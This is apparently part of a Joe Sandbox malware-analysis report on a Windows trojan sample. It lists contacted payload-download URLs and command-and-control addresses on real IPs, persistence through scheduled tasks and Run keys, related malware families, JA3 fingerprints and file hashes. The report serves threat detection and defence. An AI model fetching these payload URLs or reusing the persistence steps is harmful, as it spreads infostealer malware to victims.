http://www.garmin.com/xmlschemas/TrainingCenterDatabase/v2	wintoolsone64.exe, 00000012.00000002.2666308747.0000000002100000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	file.exe, 00000000.00000003.1547441737.0000000001120000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2234952879.00000000019F7000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.16/off/def.exe3	skotes.exe, 0000000B.00000003.2485856937.00000000019EE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/off/def.exe	file.exe, 00000000.00000003.1673101508.00000000010F0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.opengis.net/gml/3.3/exr	wintoolsone64.exe, 00000012.00000002.2666308747.000000000211E000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/mine/random.exendows	skotes.exe, 0000000B.00000003.2485927274.00000000019C4000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/well/random.exe_	skotes.exe, 00000006.00000002.2631479541.000000000064A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store/N	file.exe, 00000000.00000003.1673101508.00000000010F0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store/:	skotes.exe, 0000000B.00000003.2249053450.00000000019ED000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://31.41.244.11/files/wintoolsone64.exeded	skotes.exe, 00000006.00000002.2631479541.000000000064A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://31.41.244.11/files/wintoolsone64.exeQ	skotes.exe, 00000006.00000002.2631479541.000000000064A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store/3	skotes.exe, 0000000B.00000003.2327206239.00000000019F5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/soka/random.exe9YF	skotes.exe, 00000006.00000002.2631479541.000000000063A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/well/random.exe1HPJ	skotes.exe, 00000006.00000002.2631479541.000000000062E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://json-schema.org/schema	wintoolsone64.exe, 00000012.00000000.2415148794.000000000115D000.00000002.00000001.01000000.00000012.sdmp	false		unknown
https://docs.rs/getrandom#nodejs-es-module-support	cc1af330ba.exe, 0000001A.00000002.2630286475.00000000005CC000.00000040.00000001.01000000.00000016.sdmp	false	URL Reputation: safe	unknown
https://github.com/jprichardson/node-fs-extra/issues/269	wintoolsone64.exe, 00000012.00000000.2415148794.000000000115D000.00000002.00000001.01000000.00000012.sdmp	false		unknown
http://185.215.113.16/mine/random.exe	file.exe, 00000000.00000003.1673101508.00000000010F0000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2485927274.00000000019C4000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2486073608.000000000197C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://31.41.244.11/files/wintoolsone64.exea	skotes.exe, 00000006.00000002.2631479541.000000000064A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://cdn.discordapp.com/	axplong.exe, 00000014.00000002.2643417791.0000000001548000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.1402430348.00000000057E7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1402269787.00000000057E7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1402185434.00000000057E9000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2131630188.000000000621B000.00000004.00000800.00020000.00000000.sdmp, 9de8348ea3.exe, 00000019.00000003.2583496089.0000000005407000.00000004.00000800.00020000.00000000.sdmp, 9de8348ea3.exe, 00000019.00000003.2583386202.0000000005409000.00000004.00000800.00020000.00000000.sdmp, 9de8348ea3.exe, 00000019.00000003.2584670439.0000000005407000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.16/steam/random.exec7cf	axplong.exe, 00000014.00000002.2643417791.0000000001594000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/steam/random.exeLF	skotes.exe, 00000006.00000002.2631479541.000000000063A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://raw.githubusercontent.com/ajv-validator/ajv/master/lib/refs/data.json#	wintoolsone64.exe, 00000012.00000000.2415148794.000000000115D000.00000002.00000001.01000000.00000012.sdmp	false		unknown
http://185.215.113.16/Jo89Ku7d/index.php182	axplong.exe, 00000014.00000002.2643417791.0000000001594000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://json-schema.org/draft-07/schema	wintoolsone64.exe, 00000012.00000000.2415148794.000000000115D000.00000002.00000001.01000000.00000012.sdmp	false		unknown
http://www.opengis.net/gml	wintoolsone64.exe, 00000012.00000002.2666308747.000000000211E000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://www.collada.org/2005/11/COLLADASchema	wintoolsone64.exe, 00000012.00000002.2666308747.000000000210C000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://necklacedmny.storem	9de8348ea3.exe, 00000019.00000002.2631387587.00000000006D9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store:443/apil	9de8348ea3.exe, 00000019.00000002.2631387587.00000000006BE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://x1.c.lencr.org/0	file.exe, 00000000.00000003.1533108211.00000000058AD000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2207427717.00000000062DD000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.i.lencr.org/0	file.exe, 00000000.00000003.1533108211.00000000058AD000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2207427717.00000000062DD000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.1402430348.00000000057E7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1402269787.00000000057E7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1402185434.00000000057E9000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2131630188.000000000621B000.00000004.00000800.00020000.00000000.sdmp, 9de8348ea3.exe, 00000019.00000003.2583496089.0000000005407000.00000004.00000800.00020000.00000000.sdmp, 9de8348ea3.exe, 00000019.00000003.2583386202.0000000005409000.00000004.00000800.00020000.00000000.sdmp, 9de8348ea3.exe, 00000019.00000003.2584670439.0000000005407000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://necklacedmny.store/arddolum3	skotes.exe, 0000000B.00000003.2398354369.00000000019D1000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.43/Zu7JuNko/index.php(	skotes.exe, 00000006.00000002.2631479541.0000000000605000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://support.mozilla.org/products/firefoxgro.all	skotes.exe, 0000000B.00000003.2218705669.00000000064F2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://necklacedmny.store/api)	file.exe, 00000000.00000003.1673101508.00000000010F0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/luma/random.exef	axplong.exe, 00000014.00000002.2643417791.0000000001594000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/off/def.exee0	file.exe, 00000000.00000003.1673101508.00000000010F0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/soka/random.exe15e	skotes.exe, 00000006.00000002.2631479541.000000000063A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.1402430348.00000000057E7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1402269787.00000000057E7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1402185434.00000000057E9000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2131630188.000000000621B000.00000004.00000800.00020000.00000000.sdmp, 9de8348ea3.exe, 00000019.00000003.2583496089.0000000005407000.00000004.00000800.00020000.00000000.sdmp, 9de8348ea3.exe, 00000019.00000003.2583386202.0000000005409000.00000004.00000800.00020000.00000000.sdmp, 9de8348ea3.exe, 00000019.00000003.2584670439.0000000005407000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://json-schema.org/draft-07/schema#	wintoolsone64.exe, 00000012.00000000.2415148794.000000000115D000.00000002.00000001.01000000.00000012.sdmp	false		unknown
http://185.215.113.16/soka/random.exe	skotes.exe, 00000006.00000002.2631479541.000000000064A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/luma/random.exeVF	skotes.exe, 00000006.00000002.2631479541.000000000063A000.00000004.00000020.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
162.159.129.233	cdn.discordapp.com	United States	13335	CLOUDFLARENETUS	false
188.114.96.3	necklacedmny.store	European Union	13335	CLOUDFLARENETUS	true
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1544853
Start date and time:	2024-10-29 20:34:04 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 12m 4s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	28
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@39/33@19/5
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 20.101.57.9
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, otelrules.azureedge.net, twc.trafficmanager.net, otelrules.afd.azureedge.net, ctldl.windowsupdate.com, azureedge-t-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target M20I1ZOZUN9VGSWFO63POXM.exe, PID 8028 because it is empty
Execution Graph export aborted for target file.exe, PID 7444 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 4308 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 7228 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
15:35:09	API Interceptor	32x Sleep call for process: file.exe modified
15:36:01	API Interceptor	343639x Sleep call for process: skotes.exe modified
15:37:02	API Interceptor	109x Sleep call for process: axplong.exe modified
15:37:09	API Interceptor	5x Sleep call for process: 9de8348ea3.exe modified
20:35:48	Task Scheduler	Run new task: skotes path: C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
20:36:34	Task Scheduler	Run new task: axplong path: C:\Users\user~1\AppData\Local\Temp\44111dbc49\axplong.exe
20:36:40	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run de057a4668.exe C:\Users\user~1\AppData\Local\Temp\1001735001\de057a4668.exe
20:36:49	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run de057a4668.exe C:\Users\user~1\AppData\Local\Temp\1001735001\de057a4668.exe
20:37:14	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 9de8348ea3.exe C:\Users\user~1\AppData\Local\Temp\1002448001\9de8348ea3.exe
20:37:24	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run cc1af330ba.exe C:\Users\user~1\AppData\Local\Temp\1001195001\cc1af330ba.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	wo4POc0NG1.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	r9gBM4l6Ip.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
162.159.129.233	Cheat_Lab_2.7.2.msi	Get hash	malicious	Unknown	Browse	cdn.discordapp.com/attachments/1175364766026436628/1175364839565176852/2
	Cheat.Lab.2.7.1.msi	Get hash	malicious	RedLine	Browse	cdn.discordapp.com/attachments/1166694372084027482/1169541101917577226/2.txt
	QUOTATION_SEPT9FIBA00541#U00b7PDF.scr.exe	Get hash	malicious	AgentTesla	Browse	cdn.discordapp.com/attachments/1152164172566630421/1153564703793107036/Rezyurp.exe
	SecuriteInfo.com.Trojan.GenericKD.61167322.14727.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	cdn.discordapp.com/attachments/956928735397965906/1004544301541363733/bantylogger_dhBqf163.bin
	64AE5410F978DF0F48DCC67508820EA230C566967E002.exe	Get hash	malicious	DCRat	Browse	cdn.discordapp.com/attachments/932607293869146142/941782821578633216/Sjxupcet.jpg
	http://162.159.129.233	Get hash	malicious	Unknown	Browse	162.159.129.233/favicon.ico
	2lfV6QiE6j.exe	Get hash	malicious	Unknown	Browse	cdn.discordapp.com/attachments/937614907917078588/937618926945329213/macwx.log
	SecuriteInfo.com.Trojan.Siggen15.38099.19640.exe	Get hash	malicious	Amadey	Browse	cdn.discordapp.com/attachments/878034206570209333/908810886561534042/slhost.exe
	1PhgF7ujwW.exe	Get hash	malicious	Amadey	Browse	cdn.discordapp.com/attachments/878382243242983437/879280740578263060/FastingTabbied_2021-08-23_11-26.exe
	vhNyVU8USk.exe	Get hash	malicious	Amadey	Browse	cdn.discordapp.com/attachments/837741922641903637/866064264027701248/svchost.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0017.t-0009.t-msedge.net	file.exe	Get hash	malicious	Credential Flusher	Browse	13.107.246.45
	NUEVA ORDEN DE COMPRA 73244.xla.xlsx	Get hash	malicious	Unknown	Browse	13.107.246.45
	0lZVVpUeGt.dll	Get hash	malicious	Unknown	Browse	13.107.246.45
	6fG7gRJOOR.dll	Get hash	malicious	Unknown	Browse	13.107.246.45
	-Payout Salary Benefits.zip	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	13.107.246.45
	https://clickme.thryv.com/ls/click?upn=u001.Als7cfHaJU2yMdsJgpsIFmiRUl-2BtxcZ73D3PC6s7dEdSEpNEVf7BmEr33HzpWyzDy2Qc_OEO3HRIZ3eedLymwLhvJt9sqs3j4T3CqpVCO9A0ZKplqH1W1Ad1lCPdQBrRfbSauZPLLCLTYBsXDRt8yGG5FOZ7NK342oFTufTBA9n-2F9XZML5SAWON4OCquRGeOrZOG6X7bKIH2ouDi7O5ssZhkwdV9j8BuAetGO74HzivTb4yjw5AGX5ZMnsGYBS3vBuNNgFYRVSYVxc5dN7eCLDUr43XjgYUZE2GmJzXmN-2BelIHWKsvaOOIeqiW6cnMf2CI6MeEhodwtV2LpZJtWZhkGi5I2rlc08PnxbPlMsOj2Cr9oC-2BCWb9WuPqmZU8rqYD8CNL-2BgY3UElGOq-2BfG3NfYFdrc0Rb11eU0t5G2ihyqzzZVfI-3D#cHNjaG1pdHRAZ3Jpc3Qub3Jn	Get hash	malicious	Unknown	Browse	13.107.246.45
	Wcan4j2ldm.dll	Get hash	malicious	Unknown	Browse	13.107.246.45
	https://7654658765888767.azurefd.net/mt92C	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	iK9pj4aPIU.dll	Get hash	malicious	Unknown	Browse	13.107.246.45
	jIcqgmCcrZ.dll	Get hash	malicious	Unknown	Browse	13.107.246.45
cdn.discordapp.com	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Quasar, Stealc	Browse	162.159.134.233
	LDlanZur0i.exe	Get hash	malicious	Unknown	Browse	162.159.135.233
	Fa1QSXjTZD.exe	Get hash	malicious	Unknown	Browse	162.159.133.233
	xxImTScxAq.exe	Get hash	malicious	Unknown	Browse	162.159.135.233
	FvmhkYIi5P.exe	Get hash	malicious	Unknown	Browse	162.159.134.233
	FvmhkYIi5P.exe	Get hash	malicious	Unknown	Browse	162.159.135.233
	EUOgPjsBTC.exe	Get hash	malicious	Unknown	Browse	162.159.135.233
	https://cdn.discordapp.com/attachments/1238968627324125338/1296061386824093747/shortlist.zip?ex=6710eaba&is=670f993a&hm=26822365df14863bfea627ad912a327a69fb54ae8b0d7ba1003822b35800c605&	Get hash	malicious	Unknown	Browse	162.159.129.233
	https://cdn.discordapp.com/attachments/1238968627324125338/1296061386824093747/shortlist.zip?ex=6710eaba&is=670f993a&hm=26822365df14863bfea627ad912a327a69fb54ae8b0d7ba1003822b35800c605&	Get hash	malicious	Unknown	Browse	162.159.130.233
	asegurar.vbs	Get hash	malicious	Unknown	Browse	162.159.129.233
necklacedmny.store	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	MUM - VESSEL'S PARTICULARS.pdf.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.13.205
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	172.64.41.3
	NUEVA ORDEN DE COMPRA 73244.xla.xlsx	Get hash	malicious	Unknown	Browse	172.67.162.95
	NUEVA ORDEN DE COMPRA 73244.xla.xlsx	Get hash	malicious	Unknown	Browse	104.21.74.191
	http://assets.website-files.com/65f02117700897a29c49fb10/65f7c129cb837c2310c7044e_tisamijujute.pdf	Get hash	malicious	Unknown	Browse	104.18.95.41
	Electronic_Receipt_ATT0001.htm	Get hash	malicious	Unknown	Browse	104.17.25.14
	-Payout Salary Benefits.zip	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	188.114.96.3
	https://dartergary.wordpress.com/	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	https://clickme.thryv.com/ls/click?upn=u001.Als7cfHaJU2yMdsJgpsIFmiRUl-2BtxcZ73D3PC6s7dEdSEpNEVf7BmEr33HzpWyzDy2Qc_OEO3HRIZ3eedLymwLhvJt9sqs3j4T3CqpVCO9A0ZKplqH1W1Ad1lCPdQBrRfbSauZPLLCLTYBsXDRt8yGG5FOZ7NK342oFTufTBA9n-2F9XZML5SAWON4OCquRGeOrZOG6X7bKIH2ouDi7O5ssZhkwdV9j8BuAetGO74HzivTb4yjw5AGX5ZMnsGYBS3vBuNNgFYRVSYVxc5dN7eCLDUr43XjgYUZE2GmJzXmN-2BelIHWKsvaOOIeqiW6cnMf2CI6MeEhodwtV2LpZJtWZhkGi5I2rlc08PnxbPlMsOj2Cr9oC-2BCWb9WuPqmZU8rqYD8CNL-2BgY3UElGOq-2BfG3NfYFdrc0Rb11eU0t5G2ihyqzzZVfI-3D#cHNjaG1pdHRAZ3Jpc3Qub3Jn	Get hash	malicious	Unknown	Browse	104.26.4.39
	https://massgrave.dev/get	Get hash	malicious	Unknown	Browse	104.21.22.3
CLOUDFLARENETUS	MUM - VESSEL'S PARTICULARS.pdf.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.13.205
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	172.64.41.3
	NUEVA ORDEN DE COMPRA 73244.xla.xlsx	Get hash	malicious	Unknown	Browse	172.67.162.95
	NUEVA ORDEN DE COMPRA 73244.xla.xlsx	Get hash	malicious	Unknown	Browse	104.21.74.191
	http://assets.website-files.com/65f02117700897a29c49fb10/65f7c129cb837c2310c7044e_tisamijujute.pdf	Get hash	malicious	Unknown	Browse	104.18.95.41
	Electronic_Receipt_ATT0001.htm	Get hash	malicious	Unknown	Browse	104.17.25.14
	-Payout Salary Benefits.zip	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	188.114.96.3
	https://dartergary.wordpress.com/	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	https://clickme.thryv.com/ls/click?upn=u001.Als7cfHaJU2yMdsJgpsIFmiRUl-2BtxcZ73D3PC6s7dEdSEpNEVf7BmEr33HzpWyzDy2Qc_OEO3HRIZ3eedLymwLhvJt9sqs3j4T3CqpVCO9A0ZKplqH1W1Ad1lCPdQBrRfbSauZPLLCLTYBsXDRt8yGG5FOZ7NK342oFTufTBA9n-2F9XZML5SAWON4OCquRGeOrZOG6X7bKIH2ouDi7O5ssZhkwdV9j8BuAetGO74HzivTb4yjw5AGX5ZMnsGYBS3vBuNNgFYRVSYVxc5dN7eCLDUr43XjgYUZE2GmJzXmN-2BelIHWKsvaOOIeqiW6cnMf2CI6MeEhodwtV2LpZJtWZhkGi5I2rlc08PnxbPlMsOj2Cr9oC-2BCWb9WuPqmZU8rqYD8CNL-2BgY3UElGOq-2BfG3NfYFdrc0Rb11eU0t5G2ihyqzzZVfI-3D#cHNjaG1pdHRAZ3Jpc3Qub3Jn	Get hash	malicious	Unknown	Browse	104.26.4.39
	https://massgrave.dev/get	Get hash	malicious	Unknown	Browse	104.21.22.3
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	NUEVA ORDEN DE COMPRA 73244.xla.xlsx	Get hash	malicious	Unknown	Browse	188.114.96.3
	burlar al diablo napoleon hill pdf.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	burlar al diablo napoleon hill pdf.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	buNtKcYHCa.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
37f463bf4616ecd445d4a1937da06e19	PO-10212024168877 PNG2023-W101.exe	Get hash	malicious	GuLoader	Browse	162.159.129.233
	2DpxPyeiUv.exe	Get hash	malicious	Stealc, Vidar	Browse	162.159.129.233
	PO-000041522.exe	Get hash	malicious	FormBook	Browse	162.159.129.233
	PO-000041522.exe	Get hash	malicious	FormBook	Browse	162.159.129.233
	rRFQSMRT-241883-2024.exe	Get hash	malicious	FormBook, GuLoader	Browse	162.159.129.233
	DividasAtivas_tgj.vbs	Get hash	malicious	Unknown	Browse	162.159.129.233
	ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.exe	Get hash	malicious	CryptOne, Snake Keylogger, VIP Keylogger	Browse	162.159.129.233
	audiosrv.dll	Get hash	malicious	Matanbuchus	Browse	162.159.129.233
	audiosrv.dll	Get hash	malicious	Matanbuchus	Browse	162.159.129.233
	yolo.dll	Get hash	malicious	Unknown	Browse	162.159.129.233

Process:	C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\SWB92CTM4OIX4M9DCKIEYGOPF.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
